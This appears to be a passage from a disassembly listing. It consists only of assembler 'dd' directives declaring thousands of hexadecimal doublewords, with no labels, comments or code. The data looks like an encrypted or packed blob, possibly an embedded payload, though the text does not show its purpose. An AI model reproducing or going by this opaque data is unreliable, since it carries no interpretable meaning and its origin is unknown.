		dd 2C0B83Fh, 522D95EDh,	14517E57h, 0B84808C5h, 655D393Ch
		dd 3723F124h, 6DC04958h, 0E91271F2h, 0D4BEC4D9h, 0DFDC2D2h
		dd 62B0A376h, 0FFD6852h, 5A76AD46h, 0ED8780E4h,	70CC93B2h
		dd 4CAD2568h, 6680809Ah, 10834D96h, 41C98102h, 7E59B270h
		dd 822C846Fh, 9C67C64Ch, 73248C94h, 3C1DC402h, 84BDC2Dh
		dd 0B9016293h, 48822E75h, 823AFC20h, 0E4E18EC1h, 1EB853ECh
		dd 0E0277D09h, 5952565Eh, 68FDC01Ah, 70E9490Ch,	0A40B586h
		dd 5F65B80Eh, 52E00FD3h, 1E2D5800h, 21758302h, 3C038AB8h
		dd 4C262507h, 24F1A73Bh, 0D820C522h, 946812CDh,	326082Ah
		dd 12440616h, 5C05A281h, 84B61651h, 0DEE6BA39h,	1EB0AB50h
		dd 2EC12806h, 0ACA30CE7h, 0D295919Dh, 0A6472082h, 0D7F54ABFh
		dd 0A1687CE8h, 3A09DBB9h, 259661Eh, 44145098h, 5327429h
		dd 3EE05E0Ch, 48220D6Bh, 0E90E2952h, 530A522Ch,	3080E3A0h
		dd 0D69823B7h, 6DE3A118h, 0B4F65096h, 6B4873B6h, 0A0288BA0h
		dd 0C6EE8156h, 4F1B1241h, 0D26AEC5Bh, 0EB80CD41h, 0CE61305Fh
		dd 0EC6BC3CDh, 88FAA44Ah, 88ECEE05h, 6E5F0A4Fh,	4D87BF41h
		dd 0BF7063FDh, 0ACE6B315h, 0AFC00857h, 0F5E9511Ah, 19F47129h
		dd 4E7B6878h, 0A35CE841h, 2ECEE160h, 1A776730h,	80363D03h
		dd 0F0A09964h, 0ED5C835Fh, 7247355h, 5207304Dh,	2D601973h
		dd 75E75815h, 246CFA0Dh, 8121404Eh, 18326935h, 46B8D428h
		dd 0E970C8E2h, 64EEC94Ah, 0E280BAD3h, 7A756068h, 81E5B58Dh
		dd 71ADF681h, 863F4348h, 3602120Dh, 0E90AFBE5h,	8750E85Eh
		dd 30D6C2CBh, 2D687E11h, 0DE262115h, 2703C56Bh,	2648785Ch
		dd 94E03CAh, 5CC68599h,	0C6B4B52Dh, 4FE6F2B8h, 0B8DF24E7h
		dd 78FB5ADFh, 0F16E11E0h, 80041DE6h, 3BC2C7C1h,	1536858h
		dd 974B98F7h, 7B71E00h,	2A58EF80h, 0C6D92F88h, 6EE80B09h
		dd 0CF80748Eh, 231966C3h, 9CE0CC0h, 2FE972F4h, 5648B50Ch
		dd 11BF8396h, 0FDFD5041h, 0AB1D842Eh, 0D08F9139h, 0CC939B68h
		dd 745B4FD3h, 3C6D2FD8h, 0A75D7644h, 70D6E903h,	0E1B06CABh
		dd 6A120E21h, 65035643h, 0E9235ED3h, 0BA4D2BEh,	252D1003h
		dd 6834B05Dh, 131BB280h, 0D0672EE9h, 3A09270Fh,	0D5013513h
		dd 0C99A7CFFh, 4957B4AAh, 0A9C0D524h, 0C2309551h, 270BABF2h
		dd 89092B31h, 3EB60034h, 979AA039h, 0F929D084h,	54E909C8h
		dd 4F1275FCh, 6616C5Dh,	0C835A5EBh, 960B0C69h, 5D24F219h
		dd 0F088728h, 0AAD4A4E9h, 0A2E188C7h, 0F3D5CB15h, 0D348A747h
		dd 0C45FFE80h, 0F3F44080h, 8E405C0h, 0B8413CE9h, 111CC563h
		dd 5C1CD4CBh, 9B752740h, 66D780B8h, 4F4EA5Ah, 0CCE9A12Ch
		dd 0CA07ADD2h, 90248930h, 12A5E906h, 46C10421h,	0EC51BA33h
		dd 8A37E8Eh, 565A25BAh,	92D552FEh, 94B8006Bh, 405D917Dh
		dd 6A200105h, 45E916CAh, 0F7579E7Bh, 1B3844C2h,	8AC66047h
		dd 35E0511h, 727A98E9h,	0F15F6A6Bh, 6859023Dh, 0BADD4383h
		dd 31325519h, 768FD21h,	39776E16h, 4BA0162Eh, 690B9649h
		dd 1747E180h, 0ECC110CEh, 48B97936h, 4C1EF64h, 0B7A6AA14h
		dd 0E9771801h, 0FC50D313h, 7B377746h, 0E4B0C3FCh, 9D2DCF11h
		dd 0E8EDB3A0h, 4A4A2F72h, 3AF8084h, 0B2C8E3C6h,	5BDCE954h
		dd 0EA5EFE97h, 842817E3h, 0F25CF97Eh, 768958A4h, 3B72B55Ah
		dd 87559495h, 37478B98h, 56164C73h, 9DFE3FCh, 5D8B59CEh
		dd 0F83E12Eh, 0DE34233Ah, 0F3AE0DF3h, 40AA5A46h, 7267EE28h
		dd 5F131C92h, 67B41F68h, 6BC941DEh, 2C5B314h, 2D5C3205h
		dd 0A7858141h, 0DBDF4849h, 17C6C0AFh, 0EA202EE9h, 0AA688214h
		dd 6B776370h, 351CC996h, 12B41B2Eh, 34402F98h, 0D4F2EAA0h
		dd 0F5222C05h, 1695C8E9h, 8438F2AAh, 0CCEBDA14h, 414BAAECh
		dd 473936D1h, 7851BF00h, 29BA8314h, 0E7D11F87h,	1075BC5h
		dd 0A09031ADh, 40229A05h, 0FDD1B42Bh, 46AA3612h, 7D0B3A1Dh
		dd 1704DEE7h, 5E07A799h, 4B84B9F8h, 43F70FB2h, 0CCE3D143h
		dd 58780380h, 0C286020h, 0C1CBA9B5h, 8F5E92Dh, 4707A32Ah
		dd 75B22C4h, 0E67F74ECh, 2D1FACA9h, 0CBDE4DA4h,	705E80Ah
		dd 46BD5317h, 17B42E9Ch, 2223FF44h, 0FDB3B25Dh,	32E16248h
		dd 0D64C7E25h, 77C20959h, 0B16F69FAh, 0B6EC4E22h, 3DE07CBAh
		dd 8AB35A4Bh, 30090813h, 0B7BB537Bh, 57B46F00h,	13F3E381h
		dd 0ECE3B005h, 0EBD10602h, 32BB9DE9h, 80C9FE18h, 67E1C01Ah
		dd 93CF0C06h, 0C882EEF1h, 384CF255h, 3B9242BDh,	0DA360E2Fh
		dd 0BB33ECE3h, 0FE0CF6C9h, 0DD9CC2D5h, 81905AEEh, 0FFF68E32h
		dd 0B70352C6h, 3AF02D41h, 34F548D4h, 0D09A447Fh, 7EBF00A9h
		dd 0A155C902h, 60649FC7h, 3EB7BC1h, 0E45FF381h,	0EFB02674h
		dd 0D90C3622h, 5CDF2953h, 7A739C87h, 0F32689DFh, 0E95B83AAh
		dd 3702E05Fh, 0C025E4F7h, 0EA824176h, 92A4F63Eh, 9AF99924h
		dd 42E5184h, 0B3FACE31h, 0B0B69630h, 544AEF25h,	9F209AF0h
		dd 0ED98C5F2h, 0C4DAA8A8h, 5E0F3E72h, 434D7CC6h, 4C53F500h
		dd 0D368254Bh, 4B9A9764h, 46C0CD60h, 7A5CB82Dh,	76EC20F9h
		dd 9616057Fh, 17B00DA8h, 0AFCA2481h, 87A62CA4h,	195A38A0h
		dd 889D2D00h, 18C5D759h, 0CF82356Dh, 20785629h,	1AAC9B08h
		dd 1EF56C01h, 4EE92C41h, 8275A590h, 7D736BE5h, 0F1C09B91h
		dd 6059D9C8h, 0BEB4C9DBh, 3F81DEE9h, 1DD37A18h,	0C413DDF6h
		dd 0EAAD1Bh, 63222DEFh
		dd 429D67C7h, 0F0070970h, 0E9551771h, 0FD1A21D8h, 0FDA96E5Fh
		dd 0E01F165Bh, 515015DEh, 4513FA30h, 0D5005AB4h, 0EC6924E6h
		dd 0E9F31F21h, 0AAD12640h, 0C5E32063h, 62186812h, 0E9B138ABh
		dd 13FD124Eh, 0BA8F726h, 672B1D5Fh, 4850347Dh, 0A001E57h
		dd 534A0C6Eh, 33E01368h, 0CE01124Eh, 184927D2h,	3BB7802Fh
		dd 437D223Dh, 0E62CB04h, 9F8050D6h, 0BF2416Ch, 5BDD3138h
		dd 62BF61F8h, 0D7C892E2h, 5740B86Ah, 30B9BB21h,	4D2718BCh
		dd 955577DFh, 5DADE6E7h, 166CEA30h, 28F199BDh, 0B407A53Ch
		dd 1D7B631h, 0D85258E6h, 0EE17D06Dh, 3211D6F6h,	685603CAh
		dd 0A4A221ABh, 5807A3FAh, 838D4F8Dh, 5BDE4934h,	92CEACAFh
		dd 411D4709h, 0FE6D5009h, 2A1E68F1h, 560134A3h,	74458BEh
		dd 8BF1E53Dh, 0A8B1E981h, 0C185A394h, 6CC008E5h, 4BAA6CE7h
		dd 2E82297Eh, 12FFF834h, 0EB2DBAD7h, 40511652h,	2E666CDDh
		dd 109D0AE4h, 9DE050C1h, 6815F9BAh, 0A4C156A0h,	560970ADh
		dd 397C1BE9h, 6160E097h, 266783BFh, 2504AA5h, 7B3F03E6h
		dd 9FC7615Dh, 80E5E87Ah, 32AD5F68h, 58E0BC30h, 0F397C177h
		dd 69401FEh, 585B6356h,	51B555CDh, 5FC38169h, 2F29A1DDh
		dd 0BCC253D0h, 389E261Ch, 5CE42020h, 348564F7h,	0E1CB857Ah
		dd 0E9578BD6h, 0FE84E07Eh, 0F6801CC6h, 10BEFA2Fh, 0DD906A92h
		dd 4ABC2E86h, 628720E4h, 554B936Fh, 0BE4717BAh,	0EEE85B5Eh
		dd 0B530C70Fh, 1A02533Bh, 0A77BFBE9h, 0CB72F0E6h, 0EAFD6B33h
		dd 0AF3A415Dh, 87491389h, 1A0792DEh, 0DCF98256h, 0B18A1563h
		dd 0B0215E17h, 8409F33Fh, 572C430Ch, 73E360Ah, 0F9D3089Ah
		dd 0F75103D5h, 0F4D205DEh, 0D4FFA22Ch, 41CABEAFh, 0E4856C41h
		dd 0AB37F068h, 2CE91768h, 6F75DCC1h, 0AE89EB05h, 0A516C631h
		dd 3E525D01h, 11561301h, 0C7264C44h, 0C419348h,	173ADC21h
		dd 8198AFCDh, 0D0E34F7Eh, 726BFA97h, 4F4595Ch, 0A270F8Eh
		dd 0D47E14ABh, 0ADE1D039h, 70AF43E9h, 8D6463AAh, 0FF82E5CBh
		dd 627554BEh, 9C08A00Fh, 0A4099003h, 3FFE2778h,	705FDE18h
		dd 5378B362h, 1C56157h,	4D240563h, 5A2E28E6h, 5BF4ECFEh
		dd 0C3ED3CAAh, 15692C8h, 0F833F281h, 89D5D203h,	0C1D600AFh
		dd 25640547h, 3655E829h, 32E91350h, 0AE3CAE49h,	305EB72Ch
		dd 84D6F45Ah, 0BF461068h, 91531635h, 0EE9666B2h, 4BA9EE52h
		dd 0EB3D2884h, 8D1E4E24h, 0DA96A38Bh, 446800D1h, 5833FB1Dh
		dd 416B2D40h, 2507540Fh, 0CBF0FA0Ch, 7B5C5272h,	510A788Bh
		dd 0AC21760Ah, 1A1D113h, 0F580282Ch, 0E414A085h, 57756812h
		dd 8012F2B3h, 0EF1F352Dh, 91B76F87h, 25916FCh, 685DEE31h
		dd 0C8E6282Bh, 2DF5504Ch, 0BCFB5148h, 413BF893h, 7967BB7Fh
		dd 0D3623246h, 4C04921Fh, 99A14E22h, 1720EBFCh,	0C05C751h
		dd 0BFB6E105h, 8370BD00h, 3DCF813Fh, 73A0228h, 91CDE947h
		dd 4906AD6Ch, 14C5A2Bh,	5B7CBDFEh, 0C752199Ch, 0B4128504h
		dd 820C0713h, 0B363275Ah, 9305EB11h, 8F0388EDh,	0F2EEC786h
		dd 69D60BCEh, 4AFC3C31h, 468C2A04h, 0C4EDABC1h,	959A074h
		dd 8005EFC0h, 0F80A548Eh, 1655CBF5h, 3C4C2206h,	6BC16120h
		dd 61685259h, 961389C5h, 1B810F2Eh, 0DA60D6B9h,	9D61B72Bh
		dd 66F7E24Ah, 48CD0B79h, 0EA706522h, 0BA4A260Eh, 0D802AE71h
		dd 98E6D152h, 1B2F0962h, 22DDB811h, 425BD841h, 1A217D22h
		dd 4021CFE9h, 93D3BC42h, 0FB0824Dh, 0E959CD89h,	9F3C66E8h
		dd 952080D2h, 9F6818DAh, 0B03BDD56h, 0E2E7799Fh, 10BE2A2h
		dd 0DEF67F40h, 0AE28C304h, 815AF081h, 0E9D02C06h, 0A23FC19Bh
		dd 0A3398550h, 646728EFh, 828DF54Bh, 88F7956Fh,	7E408DA6h
		dd 1C2A0BB8h, 820125B5h, 41496BD2h, 3AD412C2h, 0E724E58Dh
		dd 611F6E70h, 0D6F4C129h, 0DF2ED962h, 9A9FCF94h, 0E0E4A99h
		dd 8CD4CA2h, 0FB504895h, 4CD5B65Fh, 541818B9h, 9726E469h
		dd 0E60B14DBh, 65B97FB7h, 4FCD2B52h, 249CA06Fh,	49C8924Fh
		dd 3D9398D2h, 1DA72FA2h, 16DD46E2h, 17765FFEh, 53CAFF8h
		dd 0E9FE0929h, 9952BAA8h, 1B6A03EEh, 2E32961Dh,	45561F6h
		dd 14C12EAFh, 22ABDF5Ch, 67321E04h, 458369C3h, 7DB3EAB5h
		dd 0C65074F8h, 8430E908h, 2BBD64E6h, 901E7339h,	7A100EE2h
		dd 0CDC03220h, 463A6986h, 415F18C0h, 0B8520AB4h, 0E5E973FFh
		dd 0A5E656ADh, 7CB8982Dh, 7F5C59B8h, 4768FA02h,	41E39A16h
		dd 5E00B07Bh, 5B015D53h, 617FFE2Dh, 972E0526h, 0B87459ABh
		dd 461B04BDh, 1B81545h,	0E9200741h, 0F8DE5F31h,	0CE0AA141h
		dd 15C4F128h, 0D3290332h, 8EEA9D5Ah, 0C0D55005h, 18137712h
		dd 9AB2DAB4h, 176818C7h, 0CAEB5F2Dh, 3297B8B4h,	0AD99D4BEh
		dd 1340589Bh, 748C3AA3h, 1EB9B10h, 0BA31A468h, 6A89B15Fh
		dd 77C20BE1h, 0E66F4BF9h, 51EDE59h, 105BCFBBh, 1F70AC23h
		dd 0CEC95451h, 12B3722Eh, 5DC36349h, 0E1B83BCh,	0A9C2E909h
		dd 77026F44h, 5B48C030h, 17FF5121h, 0A46F56B3h,	6BBA5473h
		dd 8002F380h, 8899F20Fh, 494EA5D3h, 0E592FDBCh,	6C19F1DBh
		dd 31661B3Eh, 0FDB0C9E6h, 0D02E2ABCh, 38C10261h, 0F0602644h
		dd 0BD8021CAh, 690B3EB6h, 0B43538C8h, 9B8DBF0Dh, 0BFAF6AD4h
		dd 0EA5880A4h, 0BDACBE5Dh, 0E642F04Bh, 93A20547h, 81F931D7h
		dd 49463AFh, 0CB91A7BFh, 0B939805Ch, 91F3335h, 0C594E95Bh
		dd 0A03C07D3h, 2D682D4Fh, 0E8065C09h, 29BD82AEh, 4127DD45h
		dd 0E8D6EE58h, 2DAE5A46h, 563C02A5h, 556B68F1h,	0E90E93EDh
		dd 62E2737Fh, 0E1F7660Eh, 2F7C6862h, 31737AD5h,	85B1695Ah
		dd 74312B03h, 64F8501Eh, 99E91652h, 0B532AABFh,	9F59D0A6h
		dd 0E917B5F8h, 5157F0C7h, 305C16EFh, 0EDB850B8h, 20CD7412h
		dd 0F3408B13h, 665EFFBBh, 2C6FB473h, 2081283Eh,	8837A5A3h
		dd 74953CDAh, 0C381D390h, 137A13CFh, 470E133Ah,	7256575Dh
		dd 0D155BDB8h, 96C46F80h, 1082A96Fh, 0F601E092h, 0CB353D9h
		dd 805BD430h, 50ACF107h, 929C888h, 0A8165F1Fh, 0BC85E917h
		dd 3F6692DCh, 0F419D929h, 0E9F51D25h, 0ED7EE124h, 0E0846E1Bh
		dd 44AD9BEAh, 0FBD6ACC4h, 0E9F099ECh, 9CB9E727h, 2035CA04h
		dd 73F91AD5h, 596DBF03h, 220B7585h, 61ED28B1h, 6890784h
		dd 0C10E5106h, 7A44CF49h, 0E076EEF1h, 3F1ACA81h, 123172B5h
		dd 2CD403CDh, 80DA4AE9h, 504BA4Fh, 64229A26h, 52FCB712h
		dd 4FA10A1h, 0C1C3A083h, 10868AE8h, 694F380h, 0C004D61Fh
		dd 2045E549h, 0AB65C73Ch, 62149648h, 0F05D56E9h, 0EF60D2C5h
		dd 0FC4FDE2Eh, 7671B24Bh, 2D72DD8h, 9A6B3FCh, 0AEA1388h
		dd 0C964F64Ch, 2B0983E1h, 6CEAF484h, 0F03868BDh, 0D6B5701Dh
		dd 5144D222h, 0D5FB5E25h, 0FA29B499h, 9FB59C7Dh, 5A9A2FDCh
		dd 2E4457B3h, 760BFE27h, 205C58F9h, 2D626D0Ch, 0BF531701h
		dd 9033A8CCh, 28504CF4h, 96810E0h, 14682E63h, 38E55F0Eh
		dd 0ED11C065h, 522935FCh, 1C29236Dh, 3D19380Ah,	530D7600h
		dd 296BA2Dh, 0E933847Fh, 67E536D9h, 0A0005316h,	7A700DF5h
		dd 0BF968BBh, 48F21085h, 16E1006Ah, 521D4722h, 6FD40BBAh
		dd 0ECF65198h, 9FC8010Ah, 0A5D65E42h, 8BAE32E6h, 748218E4h
		dd 133BEF83h, 130B7F2Ah, 82ADA50Fh, 3D04510Ch, 98888423h
		dd 169CB800h, 4016636Eh, 8EEC083h, 3321A504h, 0F7A73043h
		dd 6E9C5DFBh, 14D6870h,	7F3280ACh, 5AE94860h, 0F7CF0305h
		dd 5BC141D9h, 0DF4F076Ch
		dd 0B5344CD6h, 0D32EF1A1h, 30C8F396h, 12D3A79h,	683630D8h
		dd 6485B402h, 0E54BBD5Fh, 36B46116h, 0A8C55B8Dh, 80D5B762h
		dd 19254EAh, 98478F13h,	432E68B5h, 0E9624D39h, 24385E33h
		dd 43C458C9h, 0FE5D5980h, 72EC9FF5h, 3479D895h,	0BCAB298Fh
		dd 35A605B2h, 6A1313C9h, 7048278Fh, 0A763552Eh,	0D3B91457h
		dd 52810A3Eh, 250C4256h, 0BECF6607h, 68EDB40Bh,	1FA2615Dh
		dd 281DD77h, 1DEB639Fh,	166A080h, 0D9E6350Dh, 5E0828D0h
		dd 0A2C148E4h, 65BB5917h, 6E1EF9EAh, 0ADF308B2h, 99609CDFh
		dd 0F0A008BCh, 0EFE81C44h, 0E718D202h, 52D7591Dh, 6B58587Ch
		dd 1D75C31Ch, 6FEB5DD3h, 4F428E7Ch, 9665249h, 5510403h
		dd 79F38BDDh, 6F186350h, 0C5560F92h, 0A05C88Ah,	4920D13Ah
		dd 85903BCAh, 81CE29h, 0C714A4EEh, 0C6015903h, 98DB6827h
		dd 138BBB79h, 0C027E32Eh, 0E63DE93Fh, 85451BDh,	7A28A3DCh
		dd 291704FEh, 0D1A14B57h, 3F349EE4h, 0EB80658Dh, 0B2F9DEC5h
		dd 0E926DA01h, 58844E12h, 0A1A5F829h, 0BC6ECD3h, 0A4DB81Bh
		dd 97E26D0h, 2E3C1EFCh,	0AC126C99h, 60AFA64Fh, 8BC10155h
		dd 3ECB3BEFh, 0E96D305Bh, 4495D3F1h, 4F17F0C0h,	0A5A2F3B9h
		dd 0D71E8AEBh, 4B9F31FAh, 8C0B6295h, 2E07BA56h,	9179114h
		dd 0CE75C809h, 80DC4FA4h, 4E19BEBCh, 300C563Dh,	0B9B82B75h
		dd 80D05A10h, 0F7910521h, 0D03D173h, 45AA4E86h,	346ED840h
		dd 0A2175A0h, 0A88EF359h, 90F62793h, 3C04A1CAh,	8BFBE03h
		dd 0C0277968h, 0BEF5727Fh, 30DC5068h, 525F16C3h, 22E5C754h
		dd 58F4D034h, 32E5F8C3h, 10223B4Fh, 1B61877Eh, 0D9203348h
		dd 57970BF1h, 480A3688h, 90D54B4Bh, 1E8B6847h, 8C6C7308h
		dd 524613CFh, 43BA6607h, 8953536Fh, 0F00650D3h,	1F557E5Ah
		dd 686D2CBDh, 67B63FE0h, 0BA14A1DFh, 1F9C0F12h,	0ACBFE257h
		dd 9A41776Fh, 0EF1C8603h, 942E7AF2h, 0AA2A0941h, 0AEEB7324h
		dd 65AF7C95h, 0B4A3ABCFh, 9863D12Dh, 0DA0041FBh, 284068E3h
		dd 766BB805h, 1374BDDCh, 0C9157F2Dh, 769B1A2Dh,	7F7C0B2Dh
		dd 0EA51035Dh, 130D7E78h, 80E7E9D0h, 7B886800h,	1B79392Dh
		dd 643CD9B3h, 2F0BE901h, 97E7BB6h, 63997B84h, 12D85504h
		dd 0C7684FBh, 0E3397FC3h, 1251A149h, 86550C8h, 0CDE92770h
		dd 6AEE9503h, 0E1147D34h, 0F67DD8BFh, 5251DF02h, 0A3259768h
		dd 9A67B01Bh, 0B38C846Bh, 1FBD2E8Dh, 9D2754FCh,	273DF8CDh
		dd 66FB4236h, 639BDEA2h, 100F2D87h, 84FF6A65h, 3924EB79h
		dd 0F38DC2h, 88D8B652h,	10CAF74Ch, 0E05BDE6Bh, 17000571h
		dd 2D292A37h, 7B911C0Dh, 757CBD2Fh, 0B51422CFh,	0A93E04Dh
		dd 0F86A5E4Bh, 395A0015h, 0E9425121h, 0F12B693Bh, 6D99805Fh
		dd 0FA0B070Ch, 0DD816562h, 27C80C1h, 34B85801h,	431D9BBCh
		dd 97066A8Ch, 4E798C6h,	1FAF11D8h, 0F02AA858h, 9F28DC68h
		dd 0E4304B18h, 0DF2CE9Dh, 0C3FED3F6h, 0AA4F3004h, 0A784E92Fh
		dd 37A1EF91h, 9A203446h, 87DD9C06h, 924DD656h, 186835E9h
		dd 40CC8AB3h, 0F70601h,	55B05051h, 0FE58C188h, 61E9C917h
		dd 0C55FDE4Eh, 2CD89876h, 13F8FE9Dh, 0B84C293Bh, 5E0CD079h
		dd 9E0041BDh, 0E9606B56h, 81925B11h, 2650B24h, 0A07A48Ch
		dd 2AD316B9h, 0D200BB96h, 46F505A5h, 1B353B48h,	0A9696B14h
		dd 21251020h, 8AF71D8h,	0BB01D768h, 39E64095h, 9BE5330h
		dd 29462F25h, 8807F50h,	4D4EAEE9h, 8D373A9h, 5918C5BEh
		dd 3E3CBF80h, 4D2D07C3h, 3EE069C9h, 7D33CC06h, 555B2712h
		dd 895A63E6h, 0E99A44BBh, 1413BA49h, 1349D0A8h,	88C8B2C1h
		dd 0AB2FA6D1h, 572C5D1Ah, 0F2C2417Bh, 11365578h, 8293C597h
		dd 18725E8Bh, 3DC0D5E1h, 0A09F20AAh, 2D489B0Ch,	825D30B4h
		dd 0FD58C666h, 0BAA675C5h, 9F124E00h, 2FF50120h, 10DCFC68h
		dd 29070FC8h, 3AF4E9D5h, 5BF20516h, 8C4B850h, 1816D738h
		dd 0F0890DE5h, 0C1E5E94Bh, 0FB6B357Eh, 5B61C9F4h, 0F4C5A24Ch
		dd 3B6C8383h, 1599E899h, 3FF50F34h, 71288680h, 314C130Ch
		dd 0E944B0FDh, 1436D827h, 1D5E5BC9h, 3E726BCh, 66C66354h
		dd 2F5A0C01h, 0DA291230h, 4F10A97Fh, 6B466CE0h,	955584Ah
		dd 20ACF6F2h, 0D42BF90Bh, 45D2AF92h, 0F4C55D59h, 0F742ABA5h
		dd 16D54492h, 0AF585B29h, 5EA43338h, 0F1C950Dh,	1277616Ah
		dd 0CE24EF3Eh, 0EA375D80h, 0E9940CB5h, 80300C93h, 4054C732h
		dd 4031FC4Ah, 956862F3h, 2190B5Ch, 238F4CDCh, 0E1A78F43h
		dd 319C6D64h, 3EDFE63Eh, 4F3D8B2Dh, 20ACF67Ah, 105B6F07h
		dd 455EEE5h, 0FA6DE9A0h, 2CEEE413h, 7C406F13h, 24B94551h
		dd 67FEF1BAh, 88290D25h, 0E9040821h, 0D889C385h, 7C223A40h
		dd 2784C8Dh, 0E90D1E30h, 7AB7A463h, 9CC0484Eh, 0F6800760h
		dd 0F43B08F2h, 0B5C4105Ah, 0E2268A48h, 0A7E809F0h, 66E96F6Bh
		dd 0A952C242h, 69303601h, 4DB2E948h, 0E7A8B22Eh, 93915185h
		dd 6660F128h, 0CB09954Bh, 22765F5h, 0E5DEE951h,	5658B6C6h
		dd 0F0700CCh, 0C15A7828h, 664B0EAh, 0A64CF8C2h,	0EE0B0C13h
		dd 0F0EB6962h, 0A886C0FBh, 11D8606h, 868F109h, 75E5303Ah
		dd 5C6A7104h, 0D827464Ah, 5C6494DBh, 0F0BC57EFh, 645032C7h
		dd 91409C82h, 1053766h,	0E468B708h, 0F861CD14h,	607EE3BEh
		dd 6D6F732h, 0F6B040DEh, 14737F1Ch, 215EF009h, 8DADE651h
		dd 84A6155Fh, 0BFBC28E9h, 19E0B0B5h, 0BCC59D08h, 505C8A20h
		dd 4A42047h, 877F580h, 6B98EBEEh, 0FE7955E8h, 286CCED9h
		dd 404F0105h, 6AB0C959h, 3C99E0BCh, 7C1BA754h, 74A610A4h
		dd 0A5091F90h, 0F771E678h, 0A12CAB44h, 5F6A36B4h, 5F106901h
		dd 728F812Fh, 1721B61h,	5936AE65h, 0B3964070h, 0A5B393Dh
		dd 0B1EE24C4h, 1C98DB9Bh, 0CCA02D6Ah, 0C2273276h, 0CD3A6813h
		dd 91741298h, 50E2010Dh, 7A1A2E39h, 78334A14h, 0EF665C40h
		dd 0E7B6C130h, 2764A97Bh, 0B5BA0001h, 0B8E32C92h, 0B7C57040h
		dd 0C712356h, 5557E100h, 38A76804h, 0CBE83FA8h,	0D6E58101h
		dd 93497E29h, 8838069Eh, 1B1C17DCh, 9301AA62h, 9AC8E1C7h
		dd 55954E2Eh, 0D901EA57h, 23EA67DAh, 7421F9F1h,	5D5F0802h
		dd 183E53F1h, 0B80A8B7Dh, 872C1EA7h, 7B478903h,	0D5170F16h
		dd 28E8535Ah, 0C3F389C4h, 0E30D621h, 0C7853058h, 1E419F67h
		dd 0DFB32F5Eh, 6D409C9Fh, 0D3C25576h, 0A870253Fh, 0F58817E7h
		dd 21EA16AAh, 0F050Fh, 504D8F6h, 301E2C26h, 0B463EBC1h
		dd 2CEFF4FEh, 0EBB853EEh, 4B09787Ch, 5DB854E9h,	0AD908BE6h
		dd 33CB9850h, 59C8290Fh, 7C76222Dh, 0ADD6A39h, 6D055B07h
		dd 88805E4Eh, 4C1DA2C3h, 8E1A1219h, 2FFE93Dh, 55DF0183h
		dd 355AC5DAh, 3DD520D7h, 0E1E8A7D5h, 8207FC4Ah,	0FFF616B4h
		dd 7DBFD00h, 87277AB3h,	439357D6h, 5AB105Eh, 0E5D7EF96h
		dd 4D956A65h, 127CF356h, 0DA258833h, 0C25881BAh, 640C9AE6h
		dd 0C8709FF2h, 62BE32D2h, 0D857173Fh, 207B9DA8h, 8D6A546Bh
		dd 2CE0FEh, 0E54D8DB2h,	1533D48h, 0C21AB277h, 1F5DCF89h
		dd 4DF2ED2Bh, 80A34BD3h, 0F875EA92h, 0CB3E402h,	6FBF60DEh
		dd 8987B621h, 0A633E0FAh, 214702D0h, 51ED4397h,	0DF36A40Dh
		dd 4AF17840h, 0CFB3CC49h, 7A310C41h, 27F7CFDh, 1DC7BE92h
		dd 54404142h, 12027D6Fh, 0E9EED163h, 0BD86785Ah, 5C02ED3Ch
		dd 0E9CB885Ah, 2FA176FCh, 6F57DA99h, 0A2AE9965h, 3E6D0B64h
		dd 0BEA02D9h, 0CDF2B05Ch
		dd 9EFF99B3h, 0E9365356h, 17FB033Bh, 3943462Dh,	0D0AF93CAh
		dd 8D09DE50h, 39CD4Ah, 7673B671h, 64F0BD31h, 0BFCE4430h
		dd 4CFFC1C7h, 0F926DFFDh, 197C8B99h, 5D810D90h,	5075D633h
		dd 6E93B0B7h, 5482EDD1h, 1CAC9224h, 0B02248DDh,	46FB9711h
		dd 0DB12DC1h, 0F834F06Fh, 0ACBBE913h, 0F16B5EDh, 5C9DE6h
		dd 2424696h, 0A4A4334Ah, 50FDE2BDh, 3C2FACCh, 0E96CFE34h
		dd 321D7227h, 3CCAD109h, 94A48F4Fh, 5B202D40h, 8E729561h
		dd 87D10783h, 3FD3A04h,	948213CAh, 8039DEC0h, 0E230E589h
		dd 84E8B37Fh, 0FC2D0990h, 5E49135Fh, 0F1675C01h, 6FA2C420h
		dd 71860B3h, 215C56AEh,	0E8B408B8h, 76A23689h, 0EA9649A0h
		dd 310896BDh, 0E9251CB8h, 56C23FAFh, 251FE75Bh,	1809A87Ah
		dd 0F75DCD45h, 0B2C9758Eh, 535B99FDh, 6BA1F93Fh, 0F5B84820h
		dd 0E71B2F6Ch, 0C5E46270h, 3F145850h, 928FCC4Bh, 1257597Fh
		dd 721BB02h, 1B4041DAh,	0C23B39DFh, 5DE30642h, 0C0C9038h
		dd 8FFFFCEBh, 0D95FD1CEh, 548F0EACh, 88983A24h,	291CF249h
		dd 0D8D762B2h, 0FFAF4509h, 7FB4F396h, 0C22404CBh, 0B9FBE5AFh
		dd 4030DEE2h, 601706E4h, 6A1A9614h, 0E9166420h,	7354BC8Ah
		dd 0A7A11070h, 505D540Bh, 4C0FA520h, 0F7987C38h, 0A9D1CE0Bh
		dd 0DAAB227Bh, 5058FCBAh, 0E5990C03h, 61F6644Fh, 8AA231AFh
		dd 0DBA80443h, 180C9B40h, 0C46FA58h, 9E052942h,	0E6F2E94Dh
		dd 9D0627A9h, 0C506145h, 7F3B2070h, 98B8826Dh, 0F1120D9Ah
		dd 0AE482558h, 1B956FEBh, 66A2E711h, 1E297928h,	0B1E25353h
		dd 3DCA6FABh, 0E26ED2D3h, 910076CAh, 3A1B9492h,	51025BB8h
		dd 0E97B4665h, 0D7ADA9D5h, 668293E2h, 0A2DD2901h, 5FF8468Ah
		dd 0C30808D9h, 0D2F602ADh, 3374E2C0h, 0D5303E05h, 66018BE3h
		dd 0E9B2B353h, 0B91A246Dh, 342F18F2h, 0BCB06861h, 716C2616h
		dd 48AD02DEh, 18E2070Eh, 50AD15D1h, 0A1680563h,	0D4288E08h
		dd 0C67282F1h, 0E4D4AF0Fh, 9D86F73h, 85F49548h,	0CCF3B001h
		dd 0D01C189h, 0E8ED7BA3h, 0BB2CFB93h, 5EA7404Bh, 74160ECh
		dd 0C882933Ah, 259019D1h, 2AF13048h, 330B4763h,	4549D556h
		dd 0E9BD5C02h, 0BF83050Eh, 2DC07976h, 31F977ACh, 0F48F41C3h
		dd 595FC25Dh, 0F5EB6F6Fh, 0F6B299D0h, 85F7EF9Dh, 0A88884E9h
		dd 0A03C9EE5h, 0B8315FB3h, 672DB0C4h, 70F055Ah,	0F05E801h
